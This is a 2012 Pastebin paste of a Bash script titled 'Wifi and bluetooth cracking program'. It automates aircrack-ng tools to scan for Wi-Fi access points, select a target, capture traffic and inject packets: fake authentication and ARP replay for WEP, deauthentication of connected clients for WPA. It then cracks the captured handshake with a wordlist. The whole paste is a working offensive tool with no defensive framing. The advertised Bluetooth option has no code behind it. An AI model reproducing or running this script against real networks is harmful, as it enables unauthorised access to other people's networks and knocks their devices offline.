leonteale

Wifi and bluetooth cracking program

Aug 2nd, 2012
258
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.53 KB | None | 0 0
  1. #/bin/sh
  2. # Colors for the output such as errors
  3. red=`echo -e "\033[31m"`
  4. blue=`echo -e "\033[36m"`
  5. yellow=`echo -e "\033[33m"`
  6. normal=`echo -e "\033[m"`
  7.  
  8.  
  9.  
  10. # check
  11. [ -x /pentest/exploits/set/src/wireless/airmon-ng ] || (echo airmon-ng not found or executable && exit 1)
  12. [ -x /usr/local/sbin/aireplay-ng ] || (echo aireplay-ng not found or executable && exit 1)
  13. [ -x /usr/local/bin/aircrack-ng ] || (echo aircrack-ng not found or executable && exit 1)
  14.  
  15. # vars
  16. TIMESTAMP=$(date +"%Y%m%d%H%M%S")
  17. INTERFACE=$(airmon-ng | grep ^mon | cut -b1-4)
  18. [ -z $INTERFACE ] && INTERFACE=$(airmon-ng start wlan0 | grep mon.\)$ | cut -b 30-33)
  19. [ -z $INTERFACE ] && (echo interface not selectable && exit 1)
  20. TMP=/tmp/aircrack-$TIMESTAMP
  21.  
  22.  
  23. # log
  24. echo TIMESTAMP: $TIMESTAMP >$TIMESTAMP.log
  25. echo INTERFACE: $INTERFACE >>$TIMESTAMP.log
  26.  
  27. # get ap
  28. while :
  29. do
  30.  
  31. clear
  32. echo "$blue _ _ _ _ _ _ "
  33. echo "$blue | | | | __ _ ___| | __ | | | | __ _| |_ "
  34. echo "$blue | |_| |/ _\` |/ __| |/ / | |_| |/ _\` | __|"
  35. echo "$blue | _ | (_| | (__| < | _ | (_| | |_ "
  36. echo "$blue |_| |_|\__,_|\___|_|\_\ |_| |_|\__,_|\__|"
  37. echo " ";
  38. echo "$yellow Courtesy of Hack Hat,$normal";
  39. echo " ";
  40. echo " ";
  41.  
  42. echo "Select which encrytion you are wanting to hack"
  43. echo " 1) WEP"
  44. echo " 2) WPA"
  45. echo " 3) WPA2"
  46. echo " 4) Bluetooth"
  47. echo " "
  48. echo "$red 0) Exit$normal"
  49. echo " "
  50. read opt
  51. case $opt in
  52.  
  53. 1)
  54. clear
  55. echo "$blue press ctrl+c to stop the scan once you have found your target$normal"
  56. echo " ";
  57. echo "$yellow To find a target press Enter...$normal"
  58. read enterkey;
  59. airodump-ng --write $TIMESTAMP $INTERFACE
  60. echo -e "#,BSSID,ENCRYPTION,ESSID" >$TMP
  61. grep -ah -e WPA -e WEP $TIMESTAMP-[0123456789][0123456789].csv | grep -n "" | sed "s|^\([0-9]\+\):|\1,|" | cut -d, -f1,2,7,15 | sed "s|, \+|,|g" >>$TMP
  62.  
  63. # select ap
  64. while [ -z $BSSID ]; do
  65. clear
  66. echo "$blue"
  67. column -ts, $TMP
  68. echo "$normal"
  69. read -p "$yellow please select an access point: $normal" RES
  70. BSSID=$(grep "^$RES," $TMP | cut -d, -f2)
  71. CHANNEL=$(grep "^$BSSID" $TIMESTAMP-*.csv | cut -d, -f4)
  72. ENCRYPTION=$(grep "^$BSSID" $TIMESTAMP-*.csv | cut -d, -f6)
  73. done
  74.  
  75. # log
  76. echo BSSID: $BSSID >>$TIMESTAMP.log
  77. echo CHANNEL: $CHANNEL >>$TIMESTAMP.log
  78. echo ENCRYPTION: $ENCRYPTION >>$TIMESTAMP.log
  79.  
  80. # start capture
  81. xterm -e airodump-ng --bssid $BSSID --channel $CHANNEL --write $TIMESTAMP $INTERFACE >/dev/null 2>&1 &
  82.  
  83. # reqest action
  84.  
  85. while [ true ]; do
  86. echo -e "#,CLIENT" >$TMP
  87. grep -ah ", $BSSID," $TIMESTAMP-[0123456789][0123456789].csv | sort -u | grep -n "" | sed "s|^\([0-9]\+\):|\1,|" | cut -d, -f1,2 >>$TMP
  88. clear
  89. column -ts, $TMP
  90. echo
  91. echo "1-* : Attack All"
  92. echo "0 : Crack Password"
  93. echo "Enter: Refresh"
  94. echo
  95. read -p "In order to crack the target the $blue'Data'$normal column on the popup screen should be at least $blue'10000'$normal
  96. If this is going up slowly, attack a client. or attack them all.$red-Make sure to close the 'attack target popup before continueing'
  97.  
  98. $yellow Please select an action:$normal" RES
  99.  
  100.  
  101. CLIENT=$(grep "^$RES," $TMP | cut -d, -f2)
  102.  
  103. # crack
  104. [[ $RES == 0 ]] && (xterm -e "aircrack-ng -b $BSSID -w /home/andreas/aircrack/wordlist.txt *.cap; read" >/dev/null 2>&1 &)
  105.  
  106. # attack
  107. if [ $CLIENT ]; then
  108. if [ $ENCRYPTION == WEP ]; then
  109. xterm -e aireplay-ng --fakeauth 0 -a $BSSID -h $CLIENT $INTERFACE >/dev/null 2>&1
  110. xterm -e "aireplay-ng --arpreplay -b $BSSID -h $CLIENT $INTERFACE; read" >/dev/null 2>&1
  111. elif [[ $ENCRYPTION == WPA* ]]; then
  112. xterm -e "aireplay-ng --deauth 5 -a $BSSID -c $CLIENT $INTERFACE; read" >/dev/null 2>&1
  113. fi
  114. fi
  115. done
  116. read enterkey;;
  117. esac
  118. done
Add Comment
Please, Sign In to add comment